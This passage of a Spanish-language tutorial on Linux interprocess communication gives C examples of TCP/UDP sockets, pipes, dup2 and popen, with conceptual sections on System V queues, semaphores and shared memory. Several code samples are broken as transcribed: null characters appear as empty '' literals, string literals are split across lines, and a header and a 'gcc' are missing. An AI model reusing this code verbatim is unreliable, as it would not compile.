Esta función no cierra realmente el descriptor de fichero del socket, sino que modifica sus condiciones de uso, es decir, no libera el recurso. Para liberar el socket después de usarlo, deberemos usar siempre close().

Ejemplos con sockets de tipo stream

Servidor

He aquí el código de ejemplo de un servidor sencillo TCP:

#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>

int main( int argc, char *argv[] )
{
  int mi_socket, nuevo, tam;
  struct sockaddr_in mi_estructura;

  mi_estructura.sin_family = AF_INET;
  mi_estructura.sin_port = 0;
  mi_estructura.sin_addr.s_addr = INADDR_ANY;
  memset( &(mi_estructura.sin_zero), '', 8 );

  mi_socket = socket( AF_INET, SOCK_STREAM, 0 );

  tam = sizeof( struct sockaddr );

  bind( mi_socket, (struct sockaddr *)&mi_estructura, tam );

  listen( mi_socket, 5 );

  while( 1 ) // bucle infinito para tratar conexiones
  {
    nuevo = accept( mi_socket,
                   (struct sockaddr *)&mi_estructura, &tam);
    if( fork() == 0 )
    { // hijo
      close( mi_socket ); // El proceso hijo no lo necesita
      send( nuevo, "200 Bienvenido\n", 15, 0 );
      close( nuevo );
      exit( 0 );
    } else { // padre
      close( nuevo );  // El proceso padre no lo necesita
    }
  }

  return 0;
}

Un ejemplo de su ejecución:

txipi@neon:~$ gcc servertcp.c -o servertcp
txipi@neon:~$ ./servertcp &
1 419
txipi@neon:~$ netstat -pta
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address  Foreign Address         State
PID/Program name

tcp        0      0 *:www          *:*                    LISTEN
-
tcp        0      0 *:46101        *:*                    LISTEN
419/servertcp

txipi@neon:~$ telnet localhost 46101
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
200 Bienvenido
Connection closed by foreign host.

Al haber indicado como número de puerto el 0, ha elegido un número de puerto aleatorio de entre los posibles (de 1024 a 65535, ya que sólo root puede hacer bind() sobre los puertos “bajos”, del 1 al 1024).

Cliente

He aquí el código de ejemplo de un simple cliente TCP:

#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>

#define SIZE 255

int main(int argc, char *argv[])
{
  int mi_socket, tam, numbytes;
  char buffer[SIZE];
  struct sockaddr_in mi_estructura;

  if( argc != 3 )
  {
    printf( "error: modo de empleo: clienttcp ip puerto\n" );
    exit( -1 );
  }

  mi_estructura.sin_family = AF_INET;
  mi_estructura.sin_port = htons( atoi( argv[2] ) );
  inet_aton( argv[1], &(mi_estructura.sin_addr) );
  memset( &(mi_estructura.sin_zero), '', 8 ); 

  mi_socket = socket( AF_INET, SOCK_STREAM, 0);
  tam = sizeof( struct sockaddr );
  connect( mi_socket, (struct sockaddr *)&mi_estructura, tam );

  numbytes = recv( mi_socket, buffer, SIZE-1, 0 );
  buffer[numbytes] = '';
  printf( "%d bytes recibidos\n", numbytes );
  printf( "recibido: %s\n", buffer );

  close( mi_socket );
  return 0;
}

Veámoslo en funcionamiento:

txipi@neon:~/programacion$ gcc clienttcp.c -o clienttcp
txipi@neon:~/programacion$ ./clienttcp 127.0.0.1 46105
15 bytes recibidos
recibido: 200 Bienvenido

Ejemplos con sockets de tipo datagrama

Servidor

He aquí el código de ejemplo de un servidor sencillo UDP:

#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>

#define PUERTO 5000
#define SIZE 255

int main(int argc, char *argv[])
{
  int mi_socket, tam, numbytes;
  char buffer[SIZE];
  struct sockaddr_in mi_estructura;

  mi_estructura.sin_family = AF_INET;
  mi_estructura.sin_port = htons( PUERTO );
  mi_estructura.sin_addr.s_addr = INADDR_ANY;
  memset( &(mi_estructura.sin_zero), '', 8);

  mi_socket = socket( AF_INET, SOCK_DGRAM, 0);
  tam = sizeof( struct sockaddr );
  bind( mi_socket, (struct sockaddr *)&mi_estructura, tam );

  while( 1 ) // bucle infinito para tratar conexiones
  {
    numbytes = recvfrom( mi_socket, buffer, SIZE-1, 0, (struct sockaddr *)&mi_estructura, &tam );
    buffer[numbytes] = '';
    printf( "serverudp: %d bytes recibidos\n", numbytes );
    printf( "serverudp: recibido: %s\n", buffer );
  }

  close( mi_socket );

  return 0;
}

El puerto a la escucha se define con la constante PUERTO, en este caso tiene el valor 5000. Con “netstat –upa” podemos ver que realmente está a la escucha:

txipi@neon:~$ netstat -upa
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address    Foreign Address       State       PID/Program name
udp        0      0 *:talk           *:*                   -
udp        0      0 *:ntalk          *:*                   -
udp        0      0 *:5000           *:*                    728/serverudp

Cliente

He aquí el código de ejemplo de un simple cliente UDP:

#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>

#define SIZE 255

int main(int argc, char *argv[])
{
  int mi_socket, tam, numbytes;
  char buffer[SIZE];
  struct sockaddr_in mi_estructura;

  if( argc != 3 )
  {
    printf( "error: modo de empleo: clienttcp ip puerto\n" );
    exit( -1 );
  }

  mi_estructura.sin_family = AF_INET;
  mi_estructura.sin_port = htons( atoi( argv[2] ) );
  inet_aton( argv[1], &(mi_estructura.sin_addr) );
  memset( &(mi_estructura.sin_zero), '', 8 );

  mi_socket = socket( AF_INET, SOCK_DGRAM, 0);

  tam = sizeof( struct sockaddr );

  strcpy( buffer, "Hola mundo telematico!\n" );
  numbytes = sendto( mi_socket, buffer, strlen(buffer), 0, (struct sockaddr *)&mi_estructura, tam );
  printf( "clientudp: %d bytes enviados\n", numbytes );
  printf( "clientudp: enviado: %s\n", buffer );

  strcpy( buffer, "Este es otro paquete.\n" );
  numbytes = sendto( mi_socket, buffer, strlen(buffer), 0, (struct sockaddr *)&mi_estructura, tam );
  printf( "clientudp: %d bytes enviados\n", numbytes );
  printf( "clientudp: enviado: %s\n", buffer );

  close( mi_socket );

  return 0;
}

Veámoslo en funcionamiento:

txipi@neon:~$ gcc clientudp.c -o clientudp
txipi@neon:~$ ./clientudp 127.0.0.1 5000
clientudp: 23 bytes enviados
clientudp: enviado: Hola mundo telematico!

clientudp: 22 bytes enviados
clientudp: enviado: Este es otro paquete.

serverudp: 23 bytes recibidos
serverudp: recibido: Hola mundo telematico!

serverudp: 22 bytes recibidos
serverudp: recibido: Este es otro paquete.

Tuberías

Las tuberías o “pipes” simplemente conectan la salida estándar de un proceso con la entrada estándar de otro. Normalmente las tuberías son de un solo sentido, imaginemos lo desagradable que sería que estuviéramos utilizando un lavabo y que las tuberías fueran bidireccionales, lo que emanaran los desagües sería bastante repugnante. Por esta razón, las tuberías suelen ser “half-duplex”, es decir, de un único sentido, y se requieren dos tuberías “half-duplex” para hacer una comunicación en los dos sentidos, es decir “full-duplex”. Las tuberías son, por tanto, flujos unidireccionales de bytes que conectan la salida estándar de un proceso con la entrada estándar de otro proceso.

Cuando dos procesos están enlazados mediante una tubería, ninguno de ellos es consciente de esta redirección, y actúa como lo haría normalmente. Así pues, cuando el proceso escritor desea escribir en la tubería, utiliza las funciones normales para escribir en la salida estándar. Lo único especial que sucede es que el descriptor de fichero que está utilizando ya no corresponde al terminal (ya no se escriben cosas por la pantalla), sino que se trata de un fichero especial que ha creado el núcleo. El proceso lector se comporta de forma muy similar: utiliza las llamadas normales para recoger valores de la entrada estándar, solo que ésta ya no se corresponde con el teclado, sino que será el extremo de la tubería. Los procesos están autorizados a realizar lecturas no bloqueantes de la tubería, es decir, si no hay datos para ser leídos o si la tubería está bloqueada, se devolverá un error. Cuando ambos procesos han terminado con la tubería, el inodo de la tubería es desechado junto con la página de datos compartidos.

El uso de un pipe a mí me recuerda a los antiguos “teléfonos” que hacíamos mi hermana y yo con dos envases de yogur y una cuerda muy fina. Uníamos los fondos de los yogures con la cuerda, y cuando ésta estaba muy tensa, al hablar por un yogur, se escuchaba en la otra parte. Era un método divertido de contar secretos, pero tenía el mismo inconveniente que los pipes: si uno de los dos estaba hablando, el otro no podía hacerlo al mismo tiempo o no valía para nada. Era una comunicación unidireccional, al contrario de lo que pasa con los teléfonos modernos:

Una tubería es unidireccional, como los teléfonos de yogur.

La utilización de tuberías mediante el uso de la shell es “el pan nuestro de cada día”, cualquier administrador de sistemas medianamente preparado encadena comandos y comandos mediante tuberías de forma natural:

txipi@neon:~$ cat /etc/passwd | grep bash | wc –lines
     11

Los comandos “cat”, “grep” y “wc” se lanzan en paralelo y el primero va “alimentando” al segundo, que posteriormente “alimenta” al tercero. Al final tenemos una salida filtrada por esas dos tuberías. Las tuberías empleadas son destruidas al terminar los procesos que las estaban utilizando.

Utilizar tuberías en C es también bastante sencillo, si bien a veces es necesario emplear lápiz y papel para no liarse con tanto descriptor de fichero. Ya vimos anteriormente que para abrir un fichero, leer y escribir en él y cerrarlo, se empleaba su descriptor de fichero. Una tubería tiene en realidad dos descriptores de fichero: uno para el extremo de escritura y otro para el extremo de lectura. Como los descriptores de fichero de UNIX son simplemente enteros, un pipe o tubería no es más que un array de dos enteros:

int tuberia[2];

Para crear la tubería se emplea la función pipe(), que abre dos descriptores de fichero y almacena su valor en los dos enteros que contiene el array de descriptores de fichero. El primer descriptor de fichero es abierto como O_RDONLY, es decir, sólo puede ser empleado para lecturas. El segundo se abre como O_WRONLY, limitando su uso a la escritura. De esta manera se asegura que el pipe sea de un solo sentido: por un extremo se escribe y por el otro se lee, pero nunca al revés. Ya hemos dicho que si se precisa una comunicación “full-duplex”, será necesario crear dos tuberías para ello.

int tuberia[2];

pipe(tuberia);

Una vez creado un pipe, se podrán hacer lecturas y escrituras de manera normal, como si se tratase de cualquier fichero. Sin embargo, no tiene demasiado sentido usar un pipe para uso propio, sino que se suelen utilizar para intercambiar datos con otros procesos. Como ya sabemos, un proceso hijo hereda todos los descriptores de ficheros abiertos de su padre, por lo que la comunicación entre el proceso padre y el proceso hijo es bastante cómoda mediante una tubería. Para asegurar la unidireccionalidad de la tubería, es necesario que tanto padre como hijo cierren los respectivos descriptores de ficheros. En la siguiente figura vemos cómo un proceso padre puede enviarle datos a su hijo a través de una tubería. Para ello el proceso padre cierra el extremo de lectura de la tubería, mientras que el proceso hijo cierra el extremo de escritura de la misma:

El proceso padre y su hijo comparten datos mediante una tubería.

La tubería “p” se hereda al hacer el fork() que da lugar al proceso hijo, pero es necesario que el padre haga un close() de p[0] (el lado de lectura de la tubería), y el hijo haga un close() de p[1] (el lado de escritura de la tubería). Una vez hecho esto, los dos procesos pueden emplear la tubería para comunicarse (siempre unidireccionalmente), haciendo write() en p[1] y read() en p[0], respectivamente. Veamos un ejemplo de este tipo de situación:

#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>

#define SIZE 512

int main( int argc, char **argv )
{
  pid_t pid;
  int p[2], readbytes;
  char buffer[SIZE];

  pipe( p );

  if ( (pid=fork()) == 0 )
  { // hijo
    close( p[1] ); /* cerramos el lado de escritura del pipe */

    while( (readbytes=read( p[0], buffer, SIZE )) > 0)
      write( 1, buffer, readbytes );

    close( p[0] );
  }
  else
  { // padre
    close( p[0] ); /* cerramos el lado de lectura del pipe */

    strcpy( buffer, "Esto llega a traves de la tuberia\n" );
    write( p[1], buffer, strlen( buffer ) );

    close( p[1] );
  }
  waitpid( pid, NULL, 0 );
  exit( 0 );
}

La salida de este programa no es muy espectacular, pero muestra el funcionamiento del mismo: se crean dos procesos y uno (el padre) le comunica un mensaje al otro (el hijo) a través de una tubería. El hijo al recibir el mensaje, lo escribe por la salida estándar (hace un write() en el descriptor de fichero 1). Por último cierran los descriptores de ficheros utilizados, y el padre espera al hijo a que finalice:

txipi@neon:~$ gcc pipefork.c –o pipefork
txipi@neon:~$ ./pipefork
Esto llega a traves de la tuberia

Veamos ahora cómo implementar una comunicación bidireccional entre dos procesos mediante tuberías. Como ya hemos venido diciendo, será preciso crear dos tuberías diferentes (a[2] y b[2]), una para cada sentido de la comunicación. En cada proceso habrá que cerrar descriptores de ficheros diferentes. Vamos a emplear el pipe a[2] para la comunicación desde el padre al hijo, y el pipe b[2] para comunicarnos desde el hijo al padre. Por lo tanto, deberemos cerrar:

• En el padre:
  • el lado de lectura de a[2].
  • el lado de escritura de b[2].
• En el hijo:
  • el lado de escritura de a[2].
  • el lado de lectura de b[2].

Tal y como se puede ver en la siguiente figura:

Dos procesos se comunican bidireccionalmente con dos tuberías.

El código anterior se puede modificar para que la comunicación sea bidireccional:

#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>

#define SIZE 512

int main( int argc, char **argv )
{
  pid_t pid;
  int a[2], b[2], readbytes;
  char buffer[SIZE];

  pipe( a );
  pipe( b );

  if ( (pid=fork()) == 0 )
  { // hijo
    close( a[1] ); /* cerramos el lado de escritura del pipe */
    close( b[0] ); /* cerramos el lado de lectura del pipe */

    while( (readbytes=read( a[0], buffer, SIZE ) ) > 0)
      write( 1, buffer, readbytes );
    close( a[0] );

    strcpy( buffer, "Soy tu hijo hablandote por
            la otra tuberia.\n" );
    write( b[1], buffer, strlen( buffer ) );
    close( b[1] );
  }
  else
  { // padre
    close( a[0] ); /* cerramos el lado de lectura del pipe */
    close( b[1] ); /* cerramos el lado de escritura del pipe */

    strcpy( buffer, "Soy tu padre hablandote
            por una tuberia.\n" );
    write( a[1], buffer, strlen( buffer ) );
    close( a[1]);

    while( (readbytes=read( b[0], buffer, SIZE )) > 0)
      write( 1, buffer, readbytes );
    close( b[0]);
  }
  waitpid( pid, NULL, 0 );
  exit( 0 );
}

La salida de este ejemplo es también bastante simple:

txipi@neon:~$ dospipesfork.c -o dospipesfork
txipi@neon:~$ ./dospipesfork
Soy tu padre hablandote por una tuberia.
Soy tu hijo hablandote por la otra tuberia.

Avancemos en cuanto a conceptos teóricos. La función dup() duplica un descriptor de fichero. A simple vista podría parecer trivial, pero es muy útil a la hora de utilizar tuberías. Ya sabemos que inicialmente, el descriptor de fichero 0 corresponde a la entrada estándar, el descriptor 1 a la salida estándar y el descriptor 2 a la salida de error estándar. Si empleamos dup() para duplicar alguno de estos descriptores en uno de los extremos de una tubería, podremos realizar lo mismo que hace la shell cuando enlaza dos comandos mediante una tubería: reconducir la salida estándar de un proceso a la entrada estándar del siguiente. El prototipo de la función dup() es el siguiente:

int dup(int oldfd);
int dup2(int oldfd, int newfd);

La función dup() asigna el descriptor más bajo de los disponibles al descriptor antiguo, por lo tanto, para asignar la entrada estándar a uno de los lados de un pipe es necesario cerrar el descriptor de fichero 0 justo antes de llamar a dup():

close( 0 );
dup( p[1] );

Como dup() duplica siempre el descriptor más bajo disponible, si cerramos el descriptor 0 justo antes de llamarla, ese será el descriptor que se duplique. Para evitar líos de cerrar descriptores con vistas a ser duplicados y demás, se creo dup2(), que simplemente recibe los dos descriptores de fichero y los duplica:

dup2( p[1], 0 );

El siguiente ejemplo emplea estas llamadas para concatenar la ejecución de dos comandos, “cat” y “wc”. El proceso hijo realiza un “cat” de un fichero, y lo encamina a través de la tubería. El proceso padre recibe ese fichero por la tubería y se lo pasa al comando “wc” para contar sus líneas:

#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>

#define COMMAND1 "/bin/cat"
#define COMMAND2 "/usr/bin/wc"

int main( int argc, char **argv )
{
  pid_t pid;
  int p[2];

  pipe(p);

  if ( (pid=fork()) == 0 )
  { // hijo
    close(p[0]); /* cerramos el lado de lectura del pipe */
    dup2(p[1], 1); /* STDOUT = extremo de salida del pipe */
    close(p[1]); /* cerramos el descriptor de fichero que sobra
                         tras el dup2 */

    execlp(COMMAND1, COMMAND1, argv[1], NULL);

    perror("error"); /* si estamos aquí, algo ha fallado */
    _exit(1); /* salir sin flush */
  }
  else
  { // padre
    close(p[1]); /* cerramos el lado de escritura del pipe */
    dup2(p[0], 0); /* STDIN = extremo de entrada del pipe */
    close(p[0]); /* cerramos el descriptor de fichero que sobra
                         tras el dup2 */

    execlp(COMMAND2, COMMAND2, NULL);

    perror("error"); /* si estamos aqui, algo ha fallado */
    exit(1); /* salir con flush */
  }

  return 0;
}

La salida de este programa es bastante predecible, el resultado es el mismo que encadenar el comando “cat” del fichero pasado por parámetro, con el comando “wc”:

txipi@neon:~$ gcc pipecommand.c -o pipecommand
txipi@neon:~$ ./pipecommand pipecommand.c
     50     152     980
txipi@neon:~$ cat pipecommand.c | wc
     50     152     980

Como vemos, las llamadas a comandos y su intercomunicación mediante tuberías puede ser un proceso bastante lioso, aunque se utiliza en multitud de ocasiones. Es por esto que se crearon las llamadas popen() y pclose(). Mediante popen() tenemos todo el trabajo sucio reducido a una sola llamada que crea un proceso hijo, lanza un comando, crea un pipe y nos devuelve un puntero a fichero para poder utilizar la salida de ese comando como nosotros queramos. La definición de estas funciones es la siguiente:

FILE *popen(const char *command, const char *type);
int pclose(FILE *stream);

El siguiente código es una muestra clara de cómo se puede hacer una llamada utilizando tuberías y procesos hijo, de forma sencillísima:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <limits.h>

#define SIZE PIPE_BUF

int main(int argc, char *argv[])
{
  FILE *file;
  char *command= "ls .";
  char buffer[SIZE];

  file=popen( command, "r" );

  while( !feof( file ) )
  {
    fscanf( file, "%s", &buffer );
    printf( "%s\n", buffer );
  }

  pclose( file );

  return 0;
}

Nuestro programa simplemente crea un proceso hijo que será reemplazado por una llamada al comando “ls .”, y se nos devolverá un puntero a un fichero que será el resultado de ese comando. Leemos ese fichero y lo escribimos por pantalla. Al finalizar, cerramos la tubería con pclose(). La salida de este programa, es esta:

txipi@neon:~$ gcc popen.c -o popen
txipi@neon:~$ ./popen
dospipesfork
dospipesfork.c
pipecommand
pipecommand.c
pipefork
pipefork.c
popen
popen.c

Linux también soporta tuberías con nombre, denominadas habitualmente FIFOs, (First in First out) debido a que las tuberías funcionan como una cola: el primero en entrar es el primero en salir. A diferencia de las tuberías sin nombre, los FIFOs no tiene carácter temporal sino que perduran aunque dos procesos hayan dejado de usarlos. Para crear un FIFO se puede utilizar el comando “mkfifo“ o bien llamar a la función de C mkfifo():

int mkfifo(const char *pathname, mode_t mode);

Esta función recibe dos parámetros: “pathname” indica la ruta en la que queremos crear el FIFO, y “mode” indica el modo de acceso a dicho FIFO. Cualquier proceso es capaz de utilizar un FIFO siempre y cuando tengan los privilegios necesarios para ello. No nos extenderemos más en la creación de tuberías con nombre ya que su manejo es bastante similar a lo visto hasta ahora.

IPC System V

Colas de mensajes

Mediante las colas de mensajes un proceso puede escribir mensajes que podrán ser leídos por uno o más procesos diferentes. En GNU/Linux este mecanismo está implementado mediante un array de colas de mensajes, msgque. Cada posición de este array es una estructura de tipo msgid_ds que gestionará la cola mediante punteros a los mensajes introducidos en ella. Estas colas, además, controlan cuándo fue la última vez que se escribió en ellas, y proporcionan dos colas de espera: una para escritores de la cola y otra para lectores de la cola.

Cuando un proceso escribe un mensaje en la cola de escritura, éste se posiciona al final de la misma (tiene una gestión FIFO) si es que existe espacio suficiente para ser albergado (Linux limita el número y tamaño de los mensajes para evitar ataques de Denegación de Servicio). Previo a cualquier escritura, el sistema comprueba si realmente el proceso está autorizado para escribir en la cola en cuestión, comparando las credenciales del proceso con los permisos de la cola. Asimismo, cuando un proceso quiere leer de esa cola, se realiza una comprobación similar, para evitar que procesos no autorizados lean mensajes importantes. Si un proceso desea leer un mensaje de la cola y no existe ningún mensaje del tipo deseado, el proceso se añadirá a la cola de espera de lectura y se cambiará de contexto para que deje de estar activo.

La implementación práctica en C de colas de mensajes queda fuera del alcance de este curso O:-)

Semáforos

Un semáforo es un mecanismo del sistema para evitar la colisión cuando dos o más procesos necesitan un recurso. Los semáforos IPC reflejan bastante fielmente la definición clásica de Dijkstra, realmente son variables enteras con operaciones atómicas de inicialización, incremento y decremento con bloqueo. Cada semáforo es un contador que se inicializa a un determinado valor. Cuando un proceso hace uso del recurso asignado a ese semáforo, el contador se decrementa una unidad. Cuando ese proceso libera el recurso, el contador del semáforo se incrementa. Así pues, el contador de un semáforo siempre registra el número de procesos que pueden utilizar el recurso actualmente. Dicho contador puede tener valores negativos, si el número de procesos que precisan el recurso es mayor al número de procesos que pueden ser atendidos simultáneamente por el recurso.

Por recurso entendemos cualquier cosa que pueda ser susceptible de ser usada por un proceso y pueda causar un interbloqueo: una región de memoria, un fichero, un dispositivo físico, etc. Imaginemos que creamos un semáforo para regular el uso de una impresora que tiene capacidad para imprimir tres trabajos de impresión simultáneamente. El valor del contador del semáforo se inicializaría a tres. Cuando llega el primer proceso que desea imprimir un trabajo, el contador del semáforo se decrementa. El siguiente proceso que quiera imprimir todavía puede hacerlo, ya que el contador aún tiene un valor mayor que cero. Conforme vayan llegan procesos con trabajos de impresión, el contador irá disminuyendo, y cuando llegue a un valor inferior a uno, los procesos que soliciten el recurso tendrán que esperar. Un proceso a la espera de un recurso controlado por un semáforo siempre es privado del procesador, el planificador detecta esta situación y cambia el proceso en ejecución para aumentar el rendimiento. Conforme los trabajos de impresión vayan acabando, el contador del semáforo irá incrementándose y los procesos a la espera irán siendo atendidos.

Es muy importante la característica de atomicidad de las operaciones sobre un semáforo. Para evitar errores provocados por condiciones de carrera (“race conditions”), los semáforos protegen su contador, asegurando que todas las operaciones sobre esa variable entera (lectura, incremento, decremento) son atómicas, es decir, no serán interrumpidas a la mitad de su ejecución. Recordamos que estamos en un entorno multiprogramado en el que ningún proceso se asegura que vaya a ser ejecutado de principio a fin sin interrupción. Las actualizaciones y consultas de la variable contador de un semáforo IPC son la excepción a este hecho: una vez iniciadas, no son interrumpidas. Con esto se consigue evitar fallos a la hora de usar un recurso protegido por un semáforo: imaginemos que en un entorno en el que hay cuatro procesadores trabajando concurrentemente, cuatro procesos leen a la vez el valor del contador del semáforo anterior (impresora). Supongamos que tiene un valor inicial de tres. Los cuatro procesos leen un valor positivo y deciden usar el recurso. Decrementan el valor del contador, y cuando se disponen a usar el recurso, resulta que hay cuatro procesos intentando acceder a un recurso que sólo tiene capacidad para tres. La protección de la variable contador evita este hecho, por eso es tan importante.

La implementación práctica en C de semáforos IPC queda fuera del alcance de este curso O:-)

Memoria compartida

La memoria compartida es un mecanismo para compartir datos entre dos o más procesos. Dichos procesos comparten una parte de su espacio de direccionamiento en memoria, que puede coincidir en cuanto a dirección virtual o no. Es decir, imaginemos que tenemos dos libros compartiendo una página. El primer libro es “El Quijote de la Mancha”, y el segundo es un libro de texto de 6º de primaria. La página 50 del primer libro es compartida por el segundo, pero puede que no corresponda con el número de página 50, sino que esté en la página 124. Sin embargo la página es la misma, a pesar de que no esté en el mismo sitio dentro del direccionamiento de cada proceso. Los accesos a segmentos de memoria compartida son controlados, como ocurre con todos los objetos IPC System V, y se hace un chequeo de los permisos y credenciales para poder usar dicho segmento. Sin embargo, una vez que el segmento de memoria está siendo compartido, su acceso y uso debe ser regulado por los propios procesos que la comparten, utilizando semáforos u otros mecanismos de sincronización.

La primera vez que un proceso accede a una de las páginas de memoria virtual compartida, tiene lugar un fallo de página. El Sistema Operativo trata de solventar este fallo de página y se da cuenta de que se trata de una página correspondiente a un segmento de memoria compartida. Entonces, se busca la página correspondiente a esa página de memoria virtual compartida, y si no existe, se asigna una nueva página física.

La manera mediante la que un proceso deja de compartir una región o segmento de memoria compartida es bastante similar a lo que sucede con los enlaces entre ficheros: al borrarse un enlace no se procede al borrado del fichero enlazado a no ser que ya no existan más enlaces a dicho fichero. Cuando un proceso se desenlaza o desencadena de un segmento de memoria, se comprueba si hay más procesos utilizándolo. Si es así, el segmento de memoria continúa como hasta entonces, pero de lo contrario, se libera dicha memoria.

Es bastante recomendable bloquear en memoria física la memoria virtual compartida para que no sea reemplazada (“swapping”) por otras páginas y se almacene en disco. Si bien un proceso puede que no use esa página en mucho tiempo, su carácter compartido la hace susceptible de ser más usada y el reemplazo provocaría una caída del rendimiento.

La implementación práctica en C de la comunicación mediante memoria compartida queda fuera del alcance de este curso O:-)